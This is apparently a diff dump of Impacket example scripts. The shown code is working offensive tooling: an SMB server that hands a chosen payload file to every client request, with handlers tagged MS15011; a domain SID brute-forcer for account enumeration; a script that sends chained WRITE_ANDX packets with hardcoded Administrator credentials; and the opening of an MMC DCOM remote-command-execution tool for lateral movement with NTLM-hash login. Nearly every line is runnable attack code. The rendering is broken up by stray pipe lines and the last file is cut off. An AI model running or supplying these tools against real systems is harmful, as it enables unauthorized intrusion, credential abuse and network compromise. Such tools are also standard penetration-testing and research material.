if connData.has_key('MS15011') is False:
|
||||
connData['MS15011'] = {}
|
||||
|
||||
smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO)
|
||||
if connData['MS15011'].has_key(origPathName) or origPathName == '.':
|
||||
# We already processed this entry, now it's asking for a directory
|
||||
infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel'])
|
||||
else:
|
||||
# First time asked, asking for the file
|
||||
infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel'])
|
||||
connData['MS15011'][os.path.dirname(origPathName)] = infoRecord
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#traceback.print_exc()
|
||||
smbServer.log("queryPathInformation: %s" % e,logging.ERROR)
|
||||
|
||||
if infoRecord is not None:
|
||||
respParameters = smb.SMBQueryPathInformationResponse_Parameters()
|
||||
respData = infoRecord
|
||||
else:
|
||||
errorCode = STATUS_SMB_BAD_TID
|
||||
|
||||
smbServer.setConnectionData(connId, connData)
|
||||
|
||||
return respSetup, respParameters, respData, errorCode
|
||||
|
||||
def smb2Read(self, connId, smbServer, recvPacket):
|
||||
connData = smbServer.getConnectionData(connId)
|
||||
connData['MS15011']['StopConnection'] = True
|
||||
smbServer.setConnectionData(connId, connData)
|
||||
return self.origsmb2Read(connId, smbServer, recvPacket)
|
||||
|
||||
def smb2Close(self, connId, smbServer, recvPacket):
|
||||
connData = smbServer.getConnectionData(connId)
|
||||
# We're closing the connection trying to flush the client's
|
||||
# cache.
|
||||
if connData['MS15011']['StopConnection'] is True:
|
||||
return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED
|
||||
return self.origsmb2Close(connId, smbServer, recvPacket)
|
||||
|
||||
def smb2Create(self, connId, smbServer, recvPacket):
|
||||
connData = smbServer.getConnectionData(connId)
|
||||
|
||||
ntCreateRequest = smb2.SMB2Create(recvPacket['Data'])
|
||||
|
||||
# Let's try to avoid allowing write requests from the client back to us
|
||||
# not 100% bulletproof, plus also the client might be using other SMB
|
||||
# calls
|
||||
createOptions = ntCreateRequest['CreateOptions']
|
||||
if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateRequest['DesiredAccess'] & smb2.FILE_WRITE_DATA == smb2.FILE_WRITE_DATA:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateRequest['DesiredAccess'] & smb2.FILE_APPEND_DATA == smb2.FILE_APPEND_DATA:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateRequest['DesiredAccess'] & smb2.GENERIC_WRITE == smb2.GENERIC_WRITE:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateRequest['DesiredAccess'] & 0x10000 == 0x10000:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
else:
|
||||
errorCode = STATUS_SUCCESS
|
||||
|
||||
if errorCode == STATUS_ACCESS_DENIED:
|
||||
return [smb2.SMB2Error()], None, errorCode
|
||||
|
||||
# 1. Let's grab the extension and map the file's contents we will deliver
|
||||
origPathName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\','/'))
|
||||
|
||||
_, origPathNameExtension = os.path.splitext(origPathName)
|
||||
origPathNameExtension = origPathNameExtension.upper()[1:]
|
||||
|
||||
# Are we being asked for a directory?
|
||||
if (createOptions & smb2.FILE_DIRECTORY_FILE) == 0:
|
||||
if self.extensions.has_key(origPathNameExtension.upper()):
|
||||
targetFile = self.extensions[origPathNameExtension.upper()]
|
||||
else:
|
||||
targetFile = self.defaultFile
|
||||
connData['MS15011']['FileData'] = (os.path.basename(origPathName), targetFile)
|
||||
smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)
|
||||
else:
|
||||
targetFile = '/'
|
||||
|
||||
# 2. We change the filename in the request for our targetFile
|
||||
try:
|
||||
ntCreateRequest['Buffer'] = targetFile.encode('utf-16le')
|
||||
except UnicodeDecodeError:
|
||||
import sys
|
||||
ntCreateRequest['Buffer'] = targetFile.decode(sys.getfilesystemencoding()).encode('utf-16le')
|
||||
ntCreateRequest['NameLength'] = len(targetFile)*2
|
||||
recvPacket['Data'] = str(ntCreateRequest)
|
||||
|
||||
# 3. We call the original call with our modified data
|
||||
return self.origsmb2Create(connId, smbServer, recvPacket)
|
||||
|
||||
def smb2QueryDirectory(self, connId, smbServer, recvPacket):
|
||||
# Windows clients with SMB2 will also perform a QueryDirectory
|
||||
# expecting to get the filename asked. So we deliver it :)
|
||||
connData = smbServer.getConnectionData(connId)
|
||||
|
||||
respSMBCommand = smb2.SMB2QueryDirectory_Response()
|
||||
#queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data'])
|
||||
|
||||
errorCode = 0xff
|
||||
respSMBCommand['Buffer'] = '\x00'
|
||||
|
||||
errorCode = STATUS_SUCCESS
|
||||
|
||||
#if (queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY) == 0:
|
||||
# return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED
|
||||
|
||||
if connData['MS15011']['FindDone'] is True:
|
||||
|
||||
connData['MS15011']['FindDone'] = False
|
||||
smbServer.setConnectionData(connId, connData)
|
||||
return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES
|
||||
else:
|
||||
origName, targetFile = connData['MS15011']['FileData']
|
||||
(mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(targetFile)
|
||||
|
||||
infoRecord = smb.SMBFindFileIdBothDirectoryInfo( smb.SMB.FLAGS2_UNICODE )
|
||||
infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE
|
||||
|
||||
infoRecord['EaSize'] = 0
|
||||
infoRecord['EndOfFile'] = size
|
||||
infoRecord['AllocationSize'] = size
|
||||
infoRecord['CreationTime'] = getFileTime(ctime)
|
||||
infoRecord['LastAccessTime'] = getFileTime(atime)
|
||||
infoRecord['LastWriteTime'] = getFileTime(mtime)
|
||||
infoRecord['LastChangeTime'] = getFileTime(mtime)
|
||||
infoRecord['ShortName'] = '\x00'*24
|
||||
#infoRecord['FileName'] = os.path.basename(origName).encode('utf-16le')
|
||||
infoRecord['FileName'] = origName.encode('utf-16le')
|
||||
padLen = (8-(len(infoRecord) % 8)) % 8
|
||||
infoRecord['NextEntryOffset'] = 0
|
||||
|
||||
respSMBCommand['OutputBufferOffset'] = 0x48
|
||||
respSMBCommand['OutputBufferLength'] = len(infoRecord.getData())
|
||||
respSMBCommand['Buffer'] = infoRecord.getData() + '\xaa'*padLen
|
||||
connData['MS15011']['FindDone'] = True
|
||||
|
||||
smbServer.setConnectionData(connId, connData)
|
||||
return [respSMBCommand], None, errorCode
|
||||
|
||||
def smb2TreeConnect(self, connId, smbServer, recvPacket):
|
||||
connData = smbServer.getConnectionData(connId)
|
||||
|
||||
respPacket = smb2.SMB2Packet()
|
||||
respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR
|
||||
respPacket['Status'] = STATUS_SUCCESS
|
||||
respPacket['CreditRequestResponse'] = 1
|
||||
respPacket['Command'] = recvPacket['Command']
|
||||
respPacket['SessionID'] = connData['Uid']
|
||||
respPacket['Reserved'] = recvPacket['Reserved']
|
||||
respPacket['MessageID'] = recvPacket['MessageID']
|
||||
respPacket['TreeID'] = recvPacket['TreeID']
|
||||
|
||||
respSMBCommand = smb2.SMB2TreeConnect_Response()
|
||||
|
||||
treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data'])
|
||||
|
||||
errorCode = STATUS_SUCCESS
|
||||
|
||||
## Process here the request, does the share exist?
|
||||
path = str(recvPacket)[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']]
|
||||
UNCOrShare = path.decode('utf-16le')
|
||||
|
||||
# Is this a UNC?
|
||||
if ntpath.ismount(UNCOrShare):
|
||||
path = UNCOrShare.split('\\')[3]
|
||||
else:
|
||||
path = ntpath.basename(UNCOrShare)
|
||||
|
||||
# We won't search for the share.. all of them exist :P
|
||||
#share = searchShare(connId, path.upper(), smbServer)
|
||||
connData['MS15011'] = {}
|
||||
connData['MS15011']['FindDone'] = False
|
||||
connData['MS15011']['StopConnection'] = False
|
||||
share = {}
|
||||
if share is not None:
|
||||
# Simple way to generate a Tid
|
||||
if len(connData['ConnectedShares']) == 0:
|
||||
tid = 1
|
||||
else:
|
||||
tid = connData['ConnectedShares'].keys()[-1] + 1
|
||||
connData['ConnectedShares'][tid] = share
|
||||
connData['ConnectedShares'][tid]['path'] = '/'
|
||||
connData['ConnectedShares'][tid]['shareName'] = path
|
||||
respPacket['TreeID'] = tid
|
||||
#smbServer.log("Connecting Share(%d:%s)" % (tid,path))
|
||||
else:
|
||||
smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR)
|
||||
errorCode = STATUS_OBJECT_PATH_NOT_FOUND
|
||||
respPacket['Status'] = errorCode
|
||||
##
|
||||
|
||||
if path == 'IPC$':
|
||||
respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE
|
||||
respSMBCommand['ShareFlags'] = 0x30
|
||||
else:
|
||||
respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK
|
||||
respSMBCommand['ShareFlags'] = 0x0
|
||||
|
||||
respSMBCommand['Capabilities'] = 0
|
||||
respSMBCommand['MaximalAccess'] = 0x011f01ff
|
||||
|
||||
respPacket['Data'] = respSMBCommand
|
||||
|
||||
smbServer.setConnectionData(connId, connData)
|
||||
|
||||
return None, [respPacket], errorCode
|
||||
|
||||
def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
|
||||
connData = smbServer.getConnectionData(connId)
|
||||
|
||||
resp = smb.NewSMBPacket()
|
||||
resp['Flags1'] = smb.SMB.FLAGS1_REPLY
|
||||
resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \
|
||||
recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE
|
||||
|
||||
resp['Tid'] = recvPacket['Tid']
|
||||
resp['Mid'] = recvPacket['Mid']
|
||||
resp['Pid'] = connData['Pid']
|
||||
|
||||
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
|
||||
respParameters = smb.SMBTreeConnectAndXResponse_Parameters()
|
||||
respData = smb.SMBTreeConnectAndXResponse_Data()
|
||||
|
||||
treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])
|
||||
|
||||
if treeConnectAndXParameters['Flags'] & 0x8:
|
||||
respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters()
|
||||
|
||||
treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] )
|
||||
treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']
|
||||
treeConnectAndXData.fromString(SMBCommand['Data'])
|
||||
|
||||
errorCode = STATUS_SUCCESS
|
||||
|
||||
UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])
|
||||
|
||||
# Is this a UNC?
|
||||
if ntpath.ismount(UNCOrShare):
|
||||
path = UNCOrShare.split('\\')[3]
|
||||
else:
|
||||
path = ntpath.basename(UNCOrShare)
|
||||
|
||||
# We won't search for the share.. all of them exist :P
|
||||
smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO)
|
||||
#share = searchShare(connId, path, smbServer)
|
||||
share = {}
|
||||
# Simple way to generate a Tid
|
||||
if len(connData['ConnectedShares']) == 0:
|
||||
tid = 1
|
||||
else:
|
||||
tid = connData['ConnectedShares'].keys()[-1] + 1
|
||||
connData['ConnectedShares'][tid] = share
|
||||
connData['ConnectedShares'][tid]['path'] = '/'
|
||||
connData['ConnectedShares'][tid]['shareName'] = path
|
||||
resp['Tid'] = tid
|
||||
#smbServer.log("Connecting Share(%d:%s)" % (tid,path))
|
||||
|
||||
respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS
|
||||
|
||||
if path == 'IPC$':
|
||||
respData['Service'] = 'IPC'
|
||||
else:
|
||||
respData['Service'] = path
|
||||
respData['PadLen'] = 0
|
||||
respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' )
|
||||
|
||||
respSMBCommand['Parameters'] = respParameters
|
||||
respSMBCommand['Data'] = respData
|
||||
|
||||
resp['Uid'] = connData['Uid']
|
||||
resp.addCommand(respSMBCommand)
|
||||
smbServer.setConnectionData(connId, connData)
|
||||
|
||||
return None, [resp], errorCode
|
||||
|
||||
def _start(self):
|
||||
self.server.serve_forever()
|
||||
|
||||
def run(self):
|
||||
logging.info("Setting up SMB Server")
|
||||
self._start()
|
||||
|
||||
def setDefaultFile(self, filename):
|
||||
self.defaultFile = filename
|
||||
|
||||
def setExtensionsConfig(self, filename):
|
||||
for line in filename.readlines():
|
||||
line = line.strip('\r\n ')
|
||||
if line.startswith('#') is not True and len(line) > 0:
|
||||
extension, pathName = line.split('=')
|
||||
self.extensions[extension.strip().upper()] = os.path.normpath(pathName.strip())
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
print version.BANNER
|
||||
parser = argparse.ArgumentParser(add_help = False, description = "For every file request received, this module will "
|
||||
"return the pathname contents")
|
||||
parser.add_argument("--help", action="help", help='show this help message and exit')
|
||||
parser.add_argument('fileName', action='store', metavar = 'pathname', help="Pathname's contents to deliver to SMB "
|
||||
"clients")
|
||||
parser.add_argument('-config', type=argparse.FileType('r'), metavar = 'pathname', help='config file name to map '
|
||||
'extensions to files to deliver. For those extensions not present, pathname will be delivered')
|
||||
parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)')
|
||||
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
try:
|
||||
options = parser.parse_args()
|
||||
except Exception, e:
|
||||
logging.critical(str(e))
|
||||
sys.exit(1)
|
||||
|
||||
s = KarmaSMBServer(options.smb2support)
|
||||
s.setDefaultFile(os.path.normpath(options.fileName))
|
||||
if options.config is not None:
|
||||
s.setExtensionsConfig(options.config)
|
||||
|
||||
s.start()
|
||||
|
||||
logging.info("Servers started, waiting for connections")
|
||||
while True:
|
||||
try:
|
||||
sys.stdin.read()
|
||||
except KeyboardInterrupt:
|
||||
sys.exit(1)
|
||||
else:
|
||||
pass
|
||||
|
||||
@@ -0,0 +1,187 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2012-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# DCE/RPC lookup sid brute forcer example
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# Reference for:
|
||||
# DCE/RPC [MS-LSAT]
|
||||
|
||||
import sys
|
||||
import logging
|
||||
import argparse
|
||||
import codecs
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket import version
|
||||
from impacket.dcerpc.v5 import transport, lsat, lsad
|
||||
from impacket.dcerpc.v5.samr import SID_NAME_USE
|
||||
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
|
||||
|
||||
class LSALookupSid:
|
||||
KNOWN_PROTOCOLS = {
|
||||
135: {'bindstr': r'ncacn_ip_tcp:%s', 'set_host': False},
|
||||
139: {'bindstr': r'ncacn_np:%s[\pipe\lsarpc]', 'set_host': True},
|
||||
445: {'bindstr': r'ncacn_np:%s[\pipe\lsarpc]', 'set_host': True},
|
||||
}
|
||||
|
||||
def __init__(self, username, password, domain, port = None,
|
||||
hashes = None, maxRid=4000):
|
||||
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__port = port
|
||||
self.__maxRid = int(maxRid)
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
def dump(self, remoteName, remoteHost):
|
||||
|
||||
logging.info('Brute forcing SIDs at %s' % remoteName)
|
||||
|
||||
stringbinding = self.KNOWN_PROTOCOLS[self.__port]['bindstr'] % remoteName
|
||||
logging.info('StringBinding %s'%stringbinding)
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
rpctransport.set_dport(self.__port)
|
||||
|
||||
if self.KNOWN_PROTOCOLS[self.__port]['set_host']:
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
|
||||
try:
|
||||
self.__bruteForce(rpctransport, self.__maxRid)
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#print traceback.print_exc()
|
||||
logging.critical(str(e))
|
||||
raise
|
||||
|
||||
def __bruteForce(self, rpctransport, maxRid):
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
entries = []
|
||||
dce.connect()
|
||||
|
||||
# Want encryption? Uncomment next line
|
||||
# But make SIMULTANEOUS variable <= 100
|
||||
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
|
||||
|
||||
# Want fragmentation? Uncomment next line
|
||||
#dce.set_max_fragment_size(32)
|
||||
|
||||
dce.bind(lsat.MSRPC_UUID_LSAT)
|
||||
resp = lsat.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
|
||||
policyHandle = resp['PolicyHandle']
|
||||
|
||||
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
|
||||
|
||||
domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
|
||||
|
||||
soFar = 0
|
||||
SIMULTANEOUS = 1000
|
||||
for j in range(maxRid/SIMULTANEOUS+1):
|
||||
if (maxRid - soFar) / SIMULTANEOUS == 0:
|
||||
sidsToCheck = (maxRid - soFar) % SIMULTANEOUS
|
||||
else:
|
||||
sidsToCheck = SIMULTANEOUS
|
||||
|
||||
if sidsToCheck == 0:
|
||||
break
|
||||
|
||||
sids = list()
|
||||
for i in xrange(soFar, soFar+sidsToCheck):
|
||||
sids.append(domainSid + '-%d' % i)
|
||||
try:
|
||||
lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
|
||||
except DCERPCException, e:
|
||||
if str(e).find('STATUS_NONE_MAPPED') >= 0:
|
||||
soFar += SIMULTANEOUS
|
||||
continue
|
||||
elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:
|
||||
resp = e.get_packet()
|
||||
else:
|
||||
raise
|
||||
|
||||
for n, item in enumerate(resp['TranslatedNames']['Names']):
|
||||
if item['Use'] != SID_NAME_USE.SidTypeUnknown:
|
||||
print "%d: %s\\%s (%s)" % (
|
||||
soFar + n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'],
|
||||
SID_NAME_USE.enumItems(item['Use']).name)
|
||||
soFar += SIMULTANEOUS
|
||||
|
||||
dce.disconnect()
|
||||
|
||||
return entries
|
||||
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
# Explicitly changing the stdout encoding format
|
||||
if sys.stdout.encoding is None:
|
||||
# Output is redirected to a file
|
||||
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
|
||||
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
|
||||
parser.add_argument('maxRid', action='store', default = '4000', nargs='?', help='max Rid to check (default 4000)')
|
||||
|
||||
group = parser.add_argument_group('connection')
|
||||
|
||||
group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. '
|
||||
'If ommited it will use whatever was specified as target. This is useful when target is the '
|
||||
'NetBIOS name and you cannot resolve it')
|
||||
group.add_argument('-port', choices=['135', '139', '445'], nargs='?', default='445', metavar="destination port",
|
||||
help='Destination port to connect to SMB Server')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
import re
|
||||
|
||||
domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
||||
options.target).groups('')
|
||||
|
||||
#In case the password contains '@'
|
||||
if '@' in remoteName:
|
||||
password = password + '@' + remoteName.rpartition('@')[0]
|
||||
remoteName = remoteName.rpartition('@')[2]
|
||||
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if password == '' and username != '' and options.hashes is None:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
if options.target_ip is None:
|
||||
options.target_ip = remoteName
|
||||
|
||||
lookup = LSALookupSid(username, password, domain, int(options.port), options.hashes, options.maxRid)
|
||||
try:
|
||||
lookup.dump(remoteName, options.target_ip)
|
||||
except:
|
||||
pass
|
||||
@@ -0,0 +1,64 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
import time
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket import smb
|
||||
|
||||
|
||||
class lotsSMB(smb.SMB):
|
||||
def loop_write_andx(self,tid,fid,data, offset = 0, wait_answer=1):
|
||||
pkt = smb.NewSMBPacket()
|
||||
pkt['Flags1'] = 0x18
|
||||
pkt['Flags2'] = 0
|
||||
pkt['Tid'] = tid
|
||||
|
||||
writeAndX = smb.SMBCommand(self.SMB_COM_WRITE_ANDX)
|
||||
pkt.addCommand(writeAndX)
|
||||
|
||||
writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters()
|
||||
writeAndX['Parameters']['Fid'] = fid
|
||||
writeAndX['Parameters']['Offset'] = offset
|
||||
writeAndX['Parameters']['WriteMode'] = 0
|
||||
writeAndX['Parameters']['Remaining'] = len(data)
|
||||
writeAndX['Parameters']['DataLength'] = len(data)
|
||||
writeAndX['Parameters']['DataOffset'] = len(pkt)
|
||||
writeAndX['Data'] = data+('A'*4000)
|
||||
|
||||
saved_offset = len(pkt)
|
||||
|
||||
writeAndX2 = smb.SMBCommand(self.SMB_COM_WRITE_ANDX)
|
||||
pkt.addCommand(writeAndX2)
|
||||
|
||||
writeAndX2['Parameters'] = smb.SMBWriteAndX_Parameters()
|
||||
writeAndX2['Parameters']['Fid'] = fid
|
||||
writeAndX2['Parameters']['Offset'] = offset
|
||||
writeAndX2['Parameters']['WriteMode'] = 0
|
||||
writeAndX2['Parameters']['Remaining'] = len(data)
|
||||
writeAndX2['Parameters']['DataLength'] = len(data)
|
||||
writeAndX2['Parameters']['DataOffset'] = len(pkt)
|
||||
writeAndX2['Data'] = '<pata>\n'
|
||||
|
||||
writeAndX2['Parameters']['AndXCommand'] = self.SMB_COM_WRITE_ANDX
|
||||
writeAndX2['Parameters']['AndXOffset'] = saved_offset
|
||||
|
||||
self.sendSMB(pkt)
|
||||
|
||||
if wait_answer:
|
||||
pkt = self.recvSMB()
|
||||
if pkt.isValidAnswer(self.SMB_COM_WRITE_ANDX):
|
||||
return pkt
|
||||
return None
|
||||
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
s = lotsSMB('*SMBSERVER','192.168.1.1')
|
||||
s.login('Administrator','pasword')
|
||||
tid = s.tree_connect(r'\\*SMBSERVER\IPC$')
|
||||
fid = s.open_andx(tid, r'\pipe\echo', smb.SMB_O_CREAT, smb.SMB_O_OPEN)[0]
|
||||
|
||||
s.loop_write_andx(tid,fid,'<1234>\n', wait_answer = 0)
|
||||
|
||||
time.sleep(2)
|
||||
s.close(tid,fid)
|
||||
|
||||
@@ -0,0 +1,481 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# A similar approach to wmiexec but executing commands through MMC.
|
||||
# Main advantage here is it runs under the user (has to be Admin)
|
||||
# account, not SYSTEM, plus, it doesn't generate noisy messages
|
||||
# in the event log that smbexec.py does when creating a service.
|
||||
# Drawback is it needs DCOM, hence, I have to be able to access
|
||||
# DCOM ports at the target machine.
|
||||
#
|
||||
# Original discovery by Matt Nelson (@enigma0x3):
|
||||
# https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
|
||||
#
|
||||
# Author:
|
||||
# beto (@agsolino)
|
||||
#
|
||||
# Reference for:
|
||||
# DCOM
|
||||
#
|
||||
# ToDo:
|
||||
# [ ] Kerberos auth not working, invalid_checksum is thrown. Most probably sequence numbers out of sync due to
|
||||
# getInterface() method
|
||||
#
|
||||
|
||||
import argparse
|
||||
import cmd
|
||||
import logging
|
||||
import ntpath
|
||||
import os
|
||||
import string
|
||||
import sys
|
||||
import time
|
||||
|
||||
from impacket import version
|
||||
from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
|
||||
VARIANT, VARENUM, DISPATCH_METHOD
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \
|
||||
OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
|
||||
IRemUnknown2, INTERFACE
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.examples import logger
|
||||
from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||
|
||||
OUTPUT_FILENAME = '__' + str(time.time())
|
||||
|
||||
class MMCEXEC:
|
||||
def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None,
|
||||
noOutput=False, doKerberos=False, kdcHost=None):
|
||||
self.__command = command
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = aesKey
|
||||
self.__share = share
|
||||
self.__noOutput = noOutput
|
||||
self.__doKerberos = doKerberos
|
||||
self.__kdcHost = kdcHost
|
||||
self.shell = None
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
def getInterface(self, interface, resp):
|
||||
# Now let's parse the answer and build an Interface instance
|
||||
objRefType = OBJREF(''.join(resp))['flags']
|
||||
objRef = None
|
||||
if objRefType == FLAGS_OBJREF_CUSTOM:
|
||||
objRef = OBJREF_CUSTOM(''.join(resp))
|
||||
elif objRefType == FLAGS_OBJREF_HANDLER:
|
||||
objRef = OBJREF_HANDLER(''.join(resp))
|
||||
elif objRefType == FLAGS_OBJREF_STANDARD:
|
||||
objRef = OBJREF_STANDARD(''.join(resp))
|
||||
elif objRefType == FLAGS_OBJREF_EXTENDED:
|
||||
objRef = OBJREF_EXTENDED(''.join(resp))
|
||||
else:
|
||||
logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
|
||||
|
||||
return IRemUnknown2(
|
||||
INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
|
||||
oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
|
||||
target=interface.get_target()))
|
||||
|
||||
def run(self, addr):
|
||||
if self.__noOutput is False:
|
||||
smbConnection = SMBConnection(addr, addr)
|
||||
if self.__doKerberos is False:
|
||||
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
else:
|
||||
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
|
||||
|
||||
dialect = smbConnection.getDialect()
|
||||
if dialect == SMB_DIALECT:
|
||||
logging.info("SMBv1 dialect used")
|
||||
elif dialect == SMB2_DIALECT_002:
|
||||
logging.info("SMBv2.0 dialect used")
|
||||
elif dialect == SMB2_DIALECT_21:
|
||||
logging.info("SMBv2.1 dialect used")
|
||||
else:
|
||||
logging.info("SMBv3.0 dialect used")
|
||||
else:
|
||||
smbConnection = None
|
||||
|
||||
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
|
||||
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
|
||||
try:
|
||||
